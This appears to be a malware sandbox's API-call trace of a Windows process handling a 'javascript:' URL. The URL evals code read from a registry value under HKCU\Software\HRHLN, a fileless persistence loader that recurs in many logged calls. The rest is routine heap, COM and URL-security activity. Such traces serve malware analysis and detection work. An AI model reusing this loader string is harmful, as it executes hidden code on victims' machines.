RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x26) returned 0x4bd180 [0030.473] GetProcessHeap () returned 0x4a0000 [0030.473] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d4c58 | out: hHeap=0x4a0000) returned 1 [0030.473] GetProcessHeap () returned 0x4a0000 [0030.473] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d4c80 | out: hHeap=0x4a0000) returned 1 [0030.473] GetProcessHeap () returned 0x4a0000 [0030.473] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d4ca8 | out: hHeap=0x4a0000) returned 1 [0030.473] GetProcessHeap () returned 0x4a0000 [0030.473] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b49d8 | out: hHeap=0x4a0000) returned 1 [0030.473] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e0728 | out: hHeap=0x4a0000) returned 1 [0030.473] IMoniker:GetDisplayName (in: This=0x4b0638, pbc=0x0, pmkToLeft=0x0, ppszDisplayName=0x3cfb68 | out: ppszDisplayName=0x3cfb68*="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();") returned 0x0 [0030.473] IUnknown:QueryInterface (in: This=0x4b0638, riid=0x734872f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x3cfb40 | out: ppvObject=0x3cfb40*=0x4b0644) returned 0x0 [0030.473] IUriContainer:GetIUri (in: This=0x4b0644, ppIUri=0x3cfb70 | out: ppIUri=0x3cfb70*=0x4cc68c) returned 0x0 [0030.474] IUnknown:Release (This=0x4b0644) returned 0x1 [0030.474] IUnknown:AddRef (This=0x4b0638) returned 0x2 [0030.474] IUnknown:AddRef (This=0x4cc68c) returned 0x5 [0030.474] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.474] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.474] IMoniker:GetDisplayName (in: This=0x4b0638, pbc=0x0, pmkToLeft=0x0, ppszDisplayName=0x3cfa48 | out: ppszDisplayName=0x3cfa48*="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();") returned 0x0 [0030.474] UrlGetLocationW (psz1="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();") returned 0x0 [0030.474] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ppmk=0x3cfa14*=0x0, dwFlags=0x1 | out: ppmk=0x3cfa14*=0x4df5e0) returned 0x0 [0030.474] DllGetClassObject (in: rclsid=0x4d0c54*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cf558 | out: ppv=0x3cf558*=0x73888d20) returned 0x0 [0030.474] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf644 | out: ppvObject=0x3cf644*=0x73888d2c) returned 0x0 [0030.474] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.474] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ParseAction=1, dwParseFlags=0x10000, pwzResult=0x4e0be0, cchResult=0x824, pcchResult=0x3cf958, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3cf958*=0x0) returned 0x800c0011 [0030.475] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.475] CreateUri (in: pwzURI="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x3cfa0c | out: ppURI=0x3cfa0c*=0x4cbe1c) returned 0x0 [0030.475] IUri:GetScheme (in: This=0x4cbe1c, pdwScheme=0x3cf9a4 | out: pdwScheme=0x3cf9a4*=0xf) returned 0x0 [0030.475] CoInternetIsFeatureEnabled (FeatureEntry=0x1, dwFlags=0x2) returned 0x1 [0030.475] IUnknown:QueryInterface (in: This=0x4cbe1c, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cf9ac | out: ppvObject=0x3cf9ac*=0x4cbe1c) returned 0x0 [0030.475] IUnknown:Release (This=0x4cbe1c) returned 0x2 [0030.475] IUnknown:AddRef (This=0x4cbe1c) returned 0x3 [0030.475] IUnknown:Release (This=0x4cbe1c) returned 0x2 [0030.475] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.475] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x1c) returned 0x4d4ca8 [0030.476] IUnknown:AddRef (This=0x4cbe1c) returned 0x3 [0030.476] IUri:GetAbsoluteUri (in: This=0x4cbe1c, pbstrAbsoluteUri=0x4d4ca8 | out: pbstrAbsoluteUri=0x4d4ca8*="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();") returned 0x0 [0030.476] IUnknown:Release (This=0x4cbe1c) returned 0x2 [0030.476] IUnknown:AddRef (This=0x4df5e0) returned 0x2 [0030.476] IUnknown:Release (This=0x4df5e0) returned 0x1 [0030.476] IUnknown:AddRef (This=0x4b0638) returned 0x3 [0030.476] IUnknown:Release (This=0x4df5e0) returned 0x0 [0030.476] IUnknown:AddRef (This=0x4b0638) returned 0x4 [0030.476] IUnknown:QueryInterface (in: This=0x4cc68c, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cf814 | out: ppvObject=0x3cf814*=0x4cc68c) returned 0x0 [0030.476] IUnknown:Release (This=0x4cc68c) returned 0x5 [0030.476] IUnknown:AddRef (This=0x4cc68c) returned 0x6 [0030.476] IUnknown:QueryInterface (in: This=0x4b0638, riid=0x734872f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x3cf7e8 | out: ppvObject=0x3cf7e8*=0x4b0644) returned 0x0 [0030.476] IUriContainer:GetIUri (in: This=0x4b0644, ppIUri=0x3cf83c | out: ppIUri=0x3cf83c*=0x4cc68c) returned 0x0 [0030.476] IUnknown:Release (This=0x4b0644) returned 0x4 [0030.476] IUnknown:AddRef (This=0x4b0638) returned 0x5 [0030.476] IUnknown:Release (This=0x4b0638) returned 0x4 [0030.476] IUnknown:AddRef (This=0x4cc68c) returned 0x8 [0030.476] IUnknown:QueryInterface (in: This=0x4cc68c, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cf814 | out: ppvObject=0x3cf814*=0x4cc68c) returned 0x0 [0030.476] IUnknown:Release (This=0x4cc68c) returned 0x8 [0030.476] IUnknown:AddRef (This=0x4cc68c) returned 0x9 [0030.476] IUri:GetScheme (in: This=0x4cc68c, pdwScheme=0x3cf80c | out: pdwScheme=0x3cf80c*=0xf) returned 0x0 [0030.476] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xc8) returned 0x4e0be0 [0030.476] GetCurrentProcessId () returned 0x35c [0030.476] IUnknown:QueryInterface (in: This=0x4cc68c, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cf814 | out: ppvObject=0x3cf814*=0x4cc68c) returned 0x0 [0030.476] IUnknown:Release (This=0x4cc68c) returned 0x9 [0030.476] IUnknown:AddRef (This=0x4cc68c) returned 0xa [0030.477] IUri:GetScheme (in: This=0x4cc68c, pdwScheme=0x3cf7e4 | out: pdwScheme=0x3cf7e4*=0xf) returned 0x0 [0030.477] IUri:GetAbsoluteUri (in: This=0x4cc68c, pbstrAbsoluteUri=0x3cf814 | out: pbstrAbsoluteUri=0x3cf814*="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();") returned 0x0 [0030.477] GetProcAddress (hModule=0x769d0000, lpProcName=0x7) returned 0x769d4680 [0030.477] SysStringLen (param_1="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();") returned 0x64 [0030.477] CreateUri (in: pwzURI="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x3cf830 | out: ppURI=0x3cf830*=0x4cbe1c) returned 0x0 [0030.477] IUnknown:Release (This=0x4cc68c) returned 0x9 [0030.477] IUri:GetScheme (in: This=0x4cbe1c, pdwScheme=0x3cf7c4 | out: pdwScheme=0x3cf7c4*=0xf) returned 0x0 [0030.477] IUnknown:QueryInterface (in: This=0x4cbe1c, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cf7cc | out: ppvObject=0x3cf7cc*=0x4cbe1c) returned 0x0 [0030.477] IUnknown:Release (This=0x4cbe1c) returned 0x3 [0030.477] IUnknown:AddRef (This=0x4cbe1c) returned 0x4 [0030.477] IUnknown:Release (This=0x4cbe1c) returned 0x3 [0030.477] IUnknown:AddRef (This=0x4cbe1c) returned 0x4 [0030.477] IUri:GetPropertyDWORD (in: This=0x4cbe1c, uriProp=0x11, pdwProperty=0x3cf5a4, dwFlags=0x0 | out: pdwProperty=0x3cf5a4*=0xf) returned 0x0 [0030.477] IInternetSecurityManager:GetSecurityId (in: This=0x4d3e68, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", pbSecurityId=0x3cf608, pcbSecurityId=0x3cf604*=0x200, dwReserved=0x0 | out: pbSecurityId=0x3cf608*=0x6a, pcbSecurityId=0x3cf604*=0x68) returned 0x0 [0030.477] IInternetSecurityManager:GetSecurityId (in: This=0x738896bc, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", pbSecurityId=0x3cf608, pcbSecurityId=0x3cf604*=0x200, dwReserved=0x0 | out: pbSecurityId=0x3cf608*=0x0, pcbSecurityId=0x3cf604*=0x200) returned 0x800c0011 [0030.477] DllGetClassObject (in: rclsid=0x4d0c54*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ceee0 | out: ppv=0x3ceee0*=0x73888d20) returned 0x0 [0030.478] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cefcc | out: ppvObject=0x3cefcc*=0x73888d2c) returned 0x0 [0030.478] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.478] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ParseAction=3, dwParseFlags=0x0, pwzResult=0x4ccef0, cchResult=0x65, pcchResult=0x3cf014, dwReserved=0x0 | out: pwzResult="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", pcchResult=0x3cf014*=0x65) returned 0x0 [0030.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xce) returned 0x4ccfc8 [0030.478] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ccfc8 | out: hHeap=0x4a0000) returned 1 [0030.478] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.478] DllGetClassObject (in: rclsid=0x4d0c54*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ceee0 | out: ppv=0x3ceee0*=0x73888d20) returned 0x0 [0030.478] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cefcc | out: ppvObject=0x3cefcc*=0x73888d2c) returned 0x0 [0030.478] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.478] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ParseAction=17, dwParseFlags=0x0, pwzResult=0x4ccef0, cchResult=0x65, pcchResult=0x3cf024, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3cf024*=0x0) returned 0x800c0011 [0030.478] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.479] IUnknown:Release (This=0x4cbe1c) returned 0x4 [0030.479] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf4e0 | out: hHeap=0x4a0000) returned 1 [0030.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x68) returned 0x4e0d20 [0030.479] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf540 | out: hHeap=0x4a0000) returned 1 [0030.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x68) returned 0x4e0d90 [0030.489] IUri:GetScheme (in: This=0x4cc68c, pdwScheme=0x3cf80c | out: pdwScheme=0x3cf80c*=0xf) returned 0x0 [0030.490] GetDC (hWnd=0x0) returned 0xfffffffff40106dc [0030.490] CreateCompatibleBitmap (hdc=0xf40106dc, cx=1, cy=1) returned 0xffffffffc9050749 [0030.491] GetDIBits (in: hdc=0xf40106dc, hbm=0xc9050749, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x3cf390, usage=0x0 | out: lpvBits=0x0, lpbmi=0x3cf390) returned 1 [0030.491] GetDIBits (in: hdc=0xf40106dc, hbm=0xc9050749, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x3cf390, usage=0x0 | out: lpvBits=0x0, lpbmi=0x3cf390) returned 1 [0030.491] DeleteObject (ho=0xc9050749) returned 1 [0030.491] GetSysColor (nIndex=0) returned 0xc8c8c8 [0030.491] GetSysColor (nIndex=1) returned 0x0 [0030.491] GetSysColor (nIndex=2) returned 0xd1b499 [0030.491] GetSysColor (nIndex=3) returned 0xdbcdbf [0030.491] GetSysColor (nIndex=4) returned 0xf0f0f0 [0030.491] GetSysColor (nIndex=5) returned 0xffffff [0030.491] GetSysColor (nIndex=6) returned 0x646464 [0030.491] GetSysColor (nIndex=7) returned 0x0 [0030.491] GetSysColor (nIndex=8) returned 0x0 [0030.491] GetSysColor (nIndex=9) returned 0x0 [0030.491] GetSysColor (nIndex=10) returned 0xb4b4b4 [0030.491] GetSysColor (nIndex=11) returned 0xfcf7f4 [0030.491] GetSysColor (nIndex=12) returned 0xababab [0030.491] GetSysColor (nIndex=13) returned 0xff9933 [0030.491] GetSysColor (nIndex=14) returned 0xffffff [0030.491] GetSysColor (nIndex=15) returned 0xf0f0f0 [0030.491] GetSysColor (nIndex=16) returned 0xa0a0a0 [0030.491] GetSysColor (nIndex=17) returned 0x6d6d6d [0030.491] GetSysColor (nIndex=18) returned 0x0 [0030.491] GetSysColor (nIndex=19) returned 0x544e43 [0030.491] GetSysColor (nIndex=20) returned 0xffffff [0030.491] GetSysColor (nIndex=21) returned 0x696969 [0030.491] GetSysColor (nIndex=22) returned 0xe3e3e3 [0030.491] GetSysColor (nIndex=23) returned 0x0 [0030.491] GetSysColor (nIndex=24) returned 0xe1ffff [0030.491] GetSysColor (nIndex=25) returned 0x0 [0030.491] GetSysColor (nIndex=26) returned 0xcc6600 [0030.491] GetSysColor (nIndex=27) returned 0xead1b9 [0030.491] GetSysColor (nIndex=28) returned 0xf2e4d7 [0030.491] GetSysColor (nIndex=29) returned 0xff9933 [0030.491] GetSysColor (nIndex=30) returned 0xf0f0f0 [0030.491] GetSysColor (nIndex=31) returned 0x0 [0030.491] GetSysColor (nIndex=32) returned 0x0 [0030.491] GetSysColor (nIndex=33) returned 0x0 [0030.492] GetSysColor (nIndex=34) returned 0x0 [0030.492] GetSysColor (nIndex=35) returned 0x0 [0030.492] GetSysColor (nIndex=36) returned 0x0 [0030.492] GetSysColor (nIndex=37) returned 0x0 [0030.492] GetSysColor (nIndex=38) returned 0x0 [0030.492] GetSysColor (nIndex=39) returned 0x0 [0030.492] GetSysColor (nIndex=40) returned 0x0 [0030.492] GetSysColor (nIndex=41) returned 0x0 [0030.492] GetSysColor (nIndex=42) returned 0x0 [0030.492] GetSysColor (nIndex=43) returned 0x0 [0030.492] GetSysColor (nIndex=44) returned 0x0 [0030.492] GetSysColor (nIndex=45) returned 0x0 [0030.492] GetSysColor (nIndex=46) returned 0x0 [0030.492] GetSysColor (nIndex=47) returned 0x0 [0030.492] GetSysColor (nIndex=48) returned 0x0 [0030.492] GetSysColor (nIndex=49) returned 0x0 [0030.492] GetSysColor (nIndex=50) returned 0x0 [0030.492] GetSysColor (nIndex=51) returned 0x0 [0030.492] GetSysColor (nIndex=52) returned 0x0 [0030.492] GetSysColor (nIndex=53) returned 0x0 [0030.492] GetSysColor (nIndex=54) returned 0x0 [0030.492] GetSysColor (nIndex=55) returned 0x0 [0030.492] GetSysColor (nIndex=56) returned 0x0 [0030.492] GetSysColor (nIndex=57) returned 0x0 [0030.492] GetSysColor (nIndex=58) returned 0x0 [0030.492] GetSysColor (nIndex=59) returned 0x0 [0030.492] GetSysColor (nIndex=60) returned 0x0 [0030.492] GetSysColor (nIndex=61) returned 0x0 [0030.492] GetSysColor (nIndex=62) returned 0x0 [0030.492] GetSysColor (nIndex=63) returned 0x0 [0030.492] GetDeviceCaps (hdc=0xf40106dc, index=38) returned 32409 [0030.492] ReleaseDC (hWnd=0x0, hDC=0xf40106dc) returned 1 [0030.492] GetCurrentThreadId () returned 0x664 [0030.492] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf540 [0030.493] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x50) returned 0x4de690 [0030.493] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4bd788 [0030.493] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x28) returned 0x4bd1b0 [0030.493] GetProcAddress (hModule=0x769d0000, lpProcName=0x8) returned 0x769d3ed5 [0030.494] GetCurrentThreadId () returned 0x664 [0030.494] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bd788 | out: hHeap=0x4a0000) returned 1 [0030.494] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xce) returned 0x4ccef0 [0030.494] ParseURLW (in: pcszURL="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ppu=0x3cf7b0 | out: ppu=0x3cf7b0) returned 0x0 [0030.494] CreateUri (in: pwzURI="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x3cf794 | out: ppURI=0x3cf794*=0x4cbe1c) returned 0x0 [0030.494] IUnknown:AddRef (This=0x4cbe1c) returned 0x6 [0030.494] IInternetSecurityManager:MapUrlToZone (in: This=0x738896bc, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", pdwZone=0x3cf734, dwFlags=0x0 | out: pdwZone=0x3cf734*=0xffffffff) returned 0x800c0011 [0030.494] DllGetClassObject (in: rclsid=0x4d0c54*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cf008 | out: ppv=0x3cf008*=0x73888d20) returned 0x0 [0030.494] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf0f4 | out: ppvObject=0x3cf0f4*=0x73888d2c) returned 0x0 [0030.494] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.494] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ParseAction=3, dwParseFlags=0x0, pwzResult=0x4ccfc8, cchResult=0x65, pcchResult=0x3cf13c, dwReserved=0x0 | out: pwzResult="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", pcchResult=0x3cf13c*=0x65) returned 0x0 [0030.494] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xce) returned 0x4cd0a0 [0030.494] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cd0a0 | out: hHeap=0x4a0000) returned 1 [0030.495] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.495] DllGetClassObject (in: rclsid=0x4d0c54*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cf008 | out: ppv=0x3cf008*=0x73888d20) returned 0x0 [0030.495] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf0f4 | out: ppvObject=0x3cf0f4*=0x73888d2c) returned 0x0 [0030.495] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.495] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ParseAction=17, dwParseFlags=0x0, pwzResult=0x4ccfc8, cchResult=0x65, pcchResult=0x3cf14c, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3cf14c*=0x0) returned 0x800c0011 [0030.495] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.495] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0030.495] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0030.495] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0030.495] IInternetSecurityManager:ProcessUrlAction (in: This=0x738896bc, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", dwAction=0x2700, pPolicy=0x3cf738, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x3cf738*=0x0) returned 0x0 [0030.495] IUnknown:Release (This=0x4cbe1c) returned 0x5 [0030.495] IUnknown:Release (This=0x4cbe1c) returned 0x4 [0030.495] IUnknown:AddRef (This=0x4cbe1c) returned 0x5 [0030.495] IUri:GetPropertyDWORD (in: This=0x4cbe1c, uriProp=0x11, pdwProperty=0x3cf56c, dwFlags=0x0 | out: pdwProperty=0x3cf56c*=0xf) returned 0x0 [0030.495] IInternetSecurityManager:GetSecurityId (in: This=0x4d3e68, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", pbSecurityId=0x3cf5c8, pcbSecurityId=0x3cf5c4*=0x200, dwReserved=0x0 | out: pbSecurityId=0x3cf5c8*=0x6a, pcbSecurityId=0x3cf5c4*=0x68) returned 0x0 [0030.495] IInternetSecurityManager:GetSecurityId (in: This=0x738896bc, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", pbSecurityId=0x3cf5c8, pcbSecurityId=0x3cf5c4*=0x200, dwReserved=0x0 | out: pbSecurityId=0x3cf5c8*=0x0, pcbSecurityId=0x3cf5c4*=0x200) returned 0x800c0011 [0030.496] IUnknown:Release (This=0x4cbe1c) returned 0x4 [0030.496] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.496] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x68) returned 0x4e0e00 [0030.496] CoInternetGetSession (in: dwSessionMode=0x0, ppIInternetSession=0x3cf7ec, dwReserved=0x0 | out: ppIInternetSession=0x3cf7ec*=0x4cee70) returned 0x0 [0030.496] IInternetSession:RegisterNameSpace (This=0x4cee70, pCF=0x73888c50, rclsid=0x73489790, pwzProtocol="res", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0030.496] IUnknown:AddRef (This=0x73888c50) returned 0x1 [0030.496] IInternetSession:RegisterNameSpace (This=0x4cee70, pCF=0x73888c70, rclsid=0x73489780, pwzProtocol="about", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0030.496] IUnknown:AddRef (This=0x73888c70) returned 0x1 [0030.496] StrCmpICW (pszStr1="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", pszStr2="res://ieframe.dll/PhishSite.htm") returned -8 [0030.496] IUnknown:QueryInterface (in: This=0x4cc68c, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cf75c | out: ppvObject=0x3cf75c*=0x4cc68c) returned 0x0 [0030.497] IUnknown:Release (This=0x4cc68c) returned 0x9 [0030.497] IUnknown:AddRef (This=0x4cc68c) returned 0xa [0030.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12c) returned 0x4e0e70 